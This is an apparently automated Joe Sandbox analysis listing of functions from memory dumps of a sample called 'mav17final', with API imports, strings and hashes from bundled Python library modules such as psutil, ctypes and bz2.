fprintf.MSPDB140-MSVCRT ref: 00007FF8B9077284
fprintf.MSPDB140-MSVCRT ref: 00007FF8B907729E

Strings

ReadProcessMemory, xrefs: 00007FF8B907721B, 00007FF8B9077328
assume access denied (originated from %s), xrefs: 00007FF8B90772AB
%s -> ERROR_NOACCESS, xrefs: 00007FF8B907722A
psutil-debug [%s:%d]> , xrefs: 00007FF8B9077262
(is), xrefs: 00007FF8B90772CE
psutil/arch/windows/process_info.c, xrefs: 00007FF8B9077258

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: fprintf
String ID: %s -> ERROR_NOACCESS$(is)$ReadProcessMemory$assume access denied (originated from %s)$psutil-debug [%s:%d]> $psutil/arch/windows/process_info.c
API String ID: 383729395-1572680409
Opcode ID: eea2a8f4a4062310805da43e97e10fd5ad741b3a1c6c4589939d84234f0c8799
Instruction ID: 11c87dcf40ecf28ee24a5928230ae60de0a4a6dd5a99d0a1f97cf0689d2c9a4d
Opcode Fuzzy Hash: eea2a8f4a4062310805da43e97e10fd5ad741b3a1c6c4589939d84234f0c8799
Instruction Fuzzy Hash: F9314361A0CAC681EE51DF29E8553B967A0FFB87E4F804036DB4D476A6DE2CE147C710

Function 00007FF8B9F6E0F0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F6E120
_PyUnicode_FromId.PYTHON311 ref: 00007FF8B9F6E144
PyObject_VectorcallMethod.PYTHON311 ref: 00007FF8B9F6E168
_PyObject_GetAttrId.PYTHON311 ref: 00007FF8B9F6E180
PyObject_Call.PYTHON311 ref: 00007FF8B9F6E199
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6E1AB
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6E1BF
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6E1D3

Strings

OO!, xrefs: 00007FF8B9F6E119

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocObject_$Arg_AttrCallFromMethodParseTupleUnicode_Vectorcall
String ID: OO!
API String ID: 3012979734-3205451899
Opcode ID: b86a9e6aec3d04f9dfe7387ee9b59cc105e28f1fb880d666b22fe7cdd29bfbaf
Instruction ID: dbef322df1f981d4eba753f2f94b69ad5c6e0cb3e42a6662e9ae5ac5f91dd46a
Opcode Fuzzy Hash: b86a9e6aec3d04f9dfe7387ee9b59cc105e28f1fb880d666b22fe7cdd29bfbaf
Instruction Fuzzy Hash: DD213B32A09F8281EF448F29E8546786BA1EF4ABE2F186135DF4E47754EE3CE454D300

Function 00007FF8B9078530 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 58serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 00007FF8B907855A
GetLastError.KERNEL32 ref: 00007FF8B9078568
OpenServiceA.ADVAPI32 ref: 00007FF8B90785A2
GetLastError.KERNEL32 ref: 00007FF8B90785B0
CloseServiceHandle.ADVAPI32 ref: 00007FF8B90785E0

Strings

OpenService, xrefs: 00007FF8B90785B6
(originated from %s), xrefs: 00007FF8B9078577, 00007FF8B90785BF
OpenSCManager, xrefs: 00007FF8B907856E

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID: (originated from %s)$OpenSCManager$OpenService
API String ID: 48634454-532727491
Opcode ID: 84ab02473cebbfb869f4af948c1478c6e0cf08796c8f590fd933fbdfc8e87945
Instruction ID: 684d4ca7334128e047bc342b59f524297aae0304f01fbd58c9ec177534c366e5
Opcode Fuzzy Hash: 84ab02473cebbfb869f4af948c1478c6e0cf08796c8f590fd933fbdfc8e87945
Instruction Fuzzy Hash: 9C216D51B1CACA82EE109F39A8543B92BA1BF6CBE4F804031DF0E46355EE2CE50B8740

Function 00007FF8B9F6E224 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON311 ref: 00007FF8B9F6E26C
PyUnicode_AsWideCharString.PYTHON311 ref: 00007FF8B9F6E27E
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6E2A9
PyMem_Free.PYTHON311 ref: 00007FF8B9F6E2B2
SysAllocStringLen.OLEAUT32 ref: 00007FF8B9F6E2BF
PyMem_Free.PYTHON311 ref: 00007FF8B9F6E2CB
SysFreeString.OLEAUT32 ref: 00007FF8B9F6E2DD

Strings

String too long for BSTR, xrefs: 00007FF8B9F6E29F
unicode string expected instead of %s instance, xrefs: 00007FF8B9F6E25E

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: String$Free$Err_Mem_$AllocCharFormatUnicode_Wide
String ID: String too long for BSTR$unicode string expected instead of %s instance
API String ID: 920172908-178309214
Opcode ID: cf6aaef1cfa7e26ad3eb861eb924d9a3e9377ee2f3586ae237e535f2c803a6dc
Instruction ID: 3a0f8d5be9824b40b090db43e7e6325a78c14466f3751200f6b8654805ce30ec
Opcode Fuzzy Hash: cf6aaef1cfa7e26ad3eb861eb924d9a3e9377ee2f3586ae237e535f2c803a6dc
Instruction Fuzzy Hash: C8210966E09F8281EE948F59E8541796B62FF8AFE2F185035DB0E53724DE3CE4A5C300

Function 00007FF8B9F6A080 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6A0AB
PyErr_Format.PYTHON311 ref: 00007FF8B9F6A0DF
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6A105
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6A114
memcpy.VCRUNTIME140 ref: 00007FF8B9F6A127
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6A143

Strings

byte string too long, xrefs: 00007FF8B9F6A0FB
can't delete attribute, xrefs: 00007FF8B9F6A0A1
bytes expected instead of %s instance, xrefs: 00007FF8B9F6A0D1

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$DeallocString$Formatmemcpy
String ID: byte string too long$bytes expected instead of %s instance$can't delete attribute
API String ID: 1948958528-1866040848
Opcode ID: fa96def4341ef930101010d25cc26409db7019c647d688fb077c539500109b12
Instruction ID: 89be5c62ea4a14b76890ce3b39e7294a647934fb5219e7566d075047ebcc897b
Opcode Fuzzy Hash: fa96def4341ef930101010d25cc26409db7019c647d688fb077c539500109b12
Instruction Fuzzy Hash: 88212A62A08F8281EB508F2EE9401792760FF46BE6F14A132CB0E47765CF2DE485C301

Function 00007FF8BA248BA4 Relevance: 15.2, APIs: 10, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA248C6E
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA248C7E
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA248CCA
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA248CDA
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA248CEA
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA248D5D
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA248D6E
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA248D80
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA248DAC
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA248DBB

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: ea53d01b8add9f065da6da89440d1b5514e5cb284af6834d09ce1e9fb4639f71
Instruction ID: 6508fb74490612c4b62403dc10b5103dff495ddbcc7b8733762f465a371da95f
Opcode Fuzzy Hash: ea53d01b8add9f065da6da89440d1b5514e5cb284af6834d09ce1e9fb4639f71
Instruction Fuzzy Hash: 0D613762F29B6298FB00DBA8D8801EC37B1BB04B88F444476DF1D6BA99DF78E545D340

Function 00007FF8B90C3360 Relevance: 15.1, APIs: 10, Instructions: 146COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8B90C33DE
PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B90C3466
PyMem_Malloc.PYTHON311 ref: 00007FF8B90C34AF
memmove.VCRUNTIME140 ref: 00007FF8B90C34DD
PyMem_Realloc.PYTHON311 ref: 00007FF8B90C34FA
_Py_Dealloc.PYTHON311 ref: 00007FF8B90CB6C4

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Mem_memmove$Bytes_DeallocFromMallocReallocSizeString
String ID:
API String ID: 1285943476-0
Opcode ID: b1532046c9828cc468a7a84711bf2d79d67f1a2fff2fc6f6c5e67236e34e6897
Instruction ID: 1c668fd5194f6456db4bf3595150f097842decb5724e3e583f5ffc1294ab75ff
Opcode Fuzzy Hash: b1532046c9828cc468a7a84711bf2d79d67f1a2fff2fc6f6c5e67236e34e6897
Instruction Fuzzy Hash: BE513422A19B8292EE558F2AA44423963B8FF44FC4F188435DF4D5BB68DF3CE45B9310

Function 00007FF8BA2433E0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF8BA24357E
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA24358B

Part of subcall function 00007FF8BA2469C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BA2425CE), ref: 00007FF8BA2469CE

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA243839
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA243884
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8BA2438B9

Strings

csm, xrefs: 00007FF8BA2435A7
csm, xrefs: 00007FF8BA243527
csm, xrefs: 00007FF8BA2434C5

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: abortterminate$Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 211107550-393685449
Opcode ID: 688fb15556d862c72de40c94a9225dad620afe04ad3ce9f2b8c9a53cb021efd3
Instruction ID: 3c22a6e04508f665704cd7a5c34085ff236c29c10647959716741840135e1d72
Opcode Fuzzy Hash: 688fb15556d862c72de40c94a9225dad620afe04ad3ce9f2b8c9a53cb021efd3
Instruction Fuzzy Hash: 1AE19D72A08A828AEB249F38D4803AD7BA0FB44F98F154175DF8D57796CF38E585DB00

Function 00007FF8B9F6BBE8 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6BCE5

Strings

P, xrefs: 00007FF8B9F6BD47
wrong type, xrefs: 00007FF8B9F6BE60

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc
String ID: P$wrong type
API String ID: 3617616757-281217272
Opcode ID: e3327ad88a9a446218fbdf097499024a9865fdc2e91cfe0628b0646d4787f104
Instruction ID: 519e3045958f1bce3aaa80ab281aabb8fe34c03ec857134fb0de40d515496021
Opcode Fuzzy Hash: e3327ad88a9a446218fbdf097499024a9865fdc2e91cfe0628b0646d4787f104
Instruction Fuzzy Hash: 6F716D61A0DBC681FA549F6DE85017927A1AF95BE3F186435CB4E473A6EF7CE800C350

Function 00007FF8B9F61ABC Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

PyLong_AsVoidPtr.PYTHON311 ref: 00007FF8B9F61B4D

Part of subcall function 00007FF8B9F61B80: _PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F61BC1
Part of subcall function 00007FF8B9F61B80: PySequence_Tuple.PYTHON311 ref: 00007FF8B9F61BE4
Part of subcall function 00007FF8B9F61B80: _PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F61C15
Part of subcall function 00007FF8B9F61B80: PySys_Audit.PYTHON311 ref: 00007FF8B9F61C4B
Part of subcall function 00007FF8B9F61B80: PyObject_GetAttrString.PYTHON311 ref: 00007FF8B9F61C64
Part of subcall function 00007FF8B9F61B80: PyLong_AsVoidPtr.PYTHON311 ref: 00007FF8B9F61C8D
Part of subcall function 00007FF8B9F61B80: PyErr_Occurred.PYTHON311 ref: 00007FF8B9F61CA0

_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F66C60
PyCallable_Check.PYTHON311 ref: 00007FF8B9F66C73
PyErr_SetString.PYTHON311 ref: 00007FF8B9F66D5C

Strings

argument must be callable or integer function address, xrefs: 00007FF8B9F66C7D
cannot construct instance of this class: no argtypes, xrefs: 00007FF8B9F66D4B

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Arg_ParseSizeTuple_$Err_Long_StringVoid$AttrAuditCallable_CheckObject_OccurredSequence_Sys_Tuple
String ID: argument must be callable or integer function address$cannot construct instance of this class: no argtypes
API String ID: 2570622991-2742191083
Opcode ID: 540973c798f55e8bddb45151d9b86c5f877ff1e98a5e2c5b0f3278a9c8d95e1e
Instruction ID: d5713908191c56626c00f4860fc6dff1bb7d0e9102781d22a3d862e8be95aca3
Opcode Fuzzy Hash: 540973c798f55e8bddb45151d9b86c5f877ff1e98a5e2c5b0f3278a9c8d95e1e
Instruction Fuzzy Hash: BE513921B09B8285EA548F5ED5842B937A0EF86FE6F18A031DF4E477A5EF2CE451C310

Function 00007FF8B90C1FFC Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90CB170

Strings

%d work, %d block, ratio %5.2f, xrefs: 00007FF8B90CB156
too repetitive; using fallback sorting algorithm, xrefs: 00007FF8B90CB179
VUUU, xrefs: 00007FF8B90C20B9

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: __acrt_iob_func
String ID: %d work, %d block, ratio %5.2f$ too repetitive; using fallback sorting algorithm$VUUU
API String ID: 711238415-2988393112
Opcode ID: 9108c4c4e2d6d5df63023b1ab5f74cbde5b98f3dbb4d4334f7fd8b373665a9e5
Instruction ID: 2ef05a97885942f4166cbd8d168f755fd38c877495f827a7aac0f2ff39c2af27
Opcode Fuzzy Hash: 9108c4c4e2d6d5df63023b1ab5f74cbde5b98f3dbb4d4334f7fd8b373665a9e5
Instruction Fuzzy Hash: B3416E32A08A8287EA149F2D944516977B4FB98B94F101236DF4E53BA6DF3DE58BC600

Function 00007FF8BA24C1D8 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C38C

Part of subcall function 00007FF8BA248EE4: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA249455
Part of subcall function 00007FF8BA248EE4: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24948A

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C33E

Strings

std::nullptr_t , xrefs: 00007FF8BA24C2CA
cli::array<, xrefs: 00007FF8BA24C30B
std::nullptr_t, xrefs: 00007FF8BA24C2B7
void, xrefs: 00007FF8BA24C222
void , xrefs: 00007FF8BA24C24A
cli::pin_ptr<, xrefs: 00007FF8BA24C355

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 2943138195-2239912363
Opcode ID: e6d89d71e33ac373f0738e0b515b9d7d47b180a069a0d86b59b00a9470073de2
Instruction ID: 87794ff222bfa7f26308d5dd503ae55155608e90e169b81d8674656d9682d510
Opcode Fuzzy Hash: e6d89d71e33ac373f0738e0b515b9d7d47b180a069a0d86b59b00a9470073de2
Instruction Fuzzy Hash: DA514C62E18B9698FB11CBA8D8412BD3BB0BF08B88F4481B5DF4D12B95DF7CA144E750

Function 00007FF8B9078DA3 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 104serviceCOMMON

Download Yara Rule

APIs

QueryServiceConfig2W.ADVAPI32 ref: 00007FF8B9078E31
GetLastError.KERNEL32 ref: 00007FF8B9078E37
CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078E47

Strings

QueryServiceConfig2W, xrefs: 00007FF8B9078F21

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Service$CloseConfig2ErrorHandleLastQuery
String ID: QueryServiceConfig2W
API String ID: 1882121732-608009358
Opcode ID: 9112a224e2e793ec06f389caddcb9167c6d024421ef03c0fe177f940f9c403ab
Instruction ID: 2b6c51dad916a087637dadf77fc8b765a82a6acf9fc21e1123999b70e17e7e99
Opcode Fuzzy Hash: 9112a224e2e793ec06f389caddcb9167c6d024421ef03c0fe177f940f9c403ab
Instruction Fuzzy Hash: 12413E21A1DAC682EE119F29E85416A7BA1FFA5BE0F441131EF4D43BA4EF7CE506C700

Function 00007FF8B98425C8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

PySequence_Fast.PYTHON311(00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B98425F0
PyObject_AsFileDescriptor.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B984265C
PyErr_SetString.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B98426CA
_Py_Dealloc.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B98426D9
_Py_Dealloc.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B98426E8

Strings

arguments 1-3 must be sequences, xrefs: 00007FF8B98425E3
too many file descriptors in select(), xrefs: 00007FF8B98426C0

Memory Dump Source

Source File: 00000002.00000002.2073245464.00007FF8B9841000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B9840000, based on PE: true

Associated: 00000002.00000002.2073221006.00007FF8B9840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073274420.00007FF8B9843000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073310530.00007FF8B9845000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073339457.00007FF8B9846000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9840000_mav17final.jbxd

Similarity

API ID: Dealloc$DescriptorErr_FastFileObject_Sequence_String
String ID: arguments 1-3 must be sequences$too many file descriptors in select()
API String ID: 3320488554-3996108163
Opcode ID: 05e470237c1967013c16db83c877e5144c843c525c657350500e77854bb128da
Instruction ID: b7a3a5db239c75dd0935502f8e88f901d70a295a49c11a5aed60740bc3d9dfc4
Opcode Fuzzy Hash: 05e470237c1967013c16db83c877e5144c843c525c657350500e77854bb128da
Instruction Fuzzy Hash: 76417C32B09B8282EA149F19EA440397765FF94BE4F004236DB6E4B7A8DF3CE455C300

Function 00007FF8B9F62600 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

PyLong_FromLong.PYTHON311 ref: 00007FF8B9F67330
PyObject_CallFunction.PYTHON311 ref: 00007FF8B9F67349
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F67358
PyObject_CallOneArg.PYTHON311 ref: 00007FF8B9F6738B
_PyTraceback_Add.PYTHON311 ref: 00007FF8B9F673AD
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F673BC

Strings

_ctypes/callproc.c, xrefs: 00007FF8B9F6739F
GetResult, xrefs: 00007FF8B9F673A6

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: CallDeallocObject_$FromFunctionLongLong_Traceback_
String ID: GetResult$_ctypes/callproc.c
API String ID: 2301701745-4166898048
Opcode ID: 6b14f494761338040cbc18ac8ef32615b91be7de93a4bad4d1a784e7f6cbc817
Instruction ID: 159b3db627a4d2c88eceb02e54e7a4254cb0ca142ed2b0d69b666f5ac67ca411
Opcode Fuzzy Hash: 6b14f494761338040cbc18ac8ef32615b91be7de93a4bad4d1a784e7f6cbc817
Instruction Fuzzy Hash: A8311E21E09BC382EE559F2DE91427927A0AF4ABE6F186534DF0E477A5DE3DE540C300

Function 00007FF8B90725C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B9072618
GetLastError.KERNEL32 ref: 00007FF8B9072626
GetProcessMemoryInfo.PSAPI ref: 00007FF8B9072686
CloseHandle.KERNEL32 ref: 00007FF8B907269B
CloseHandle.KERNEL32 ref: 00007FF8B90726A6

Strings

automatically set for PID 0, xrefs: 00007FF8B9072600
OpenProcess, xrefs: 00007FF8B9072631
(kKKKKKKKKK), xrefs: 00007FF8B90726B4

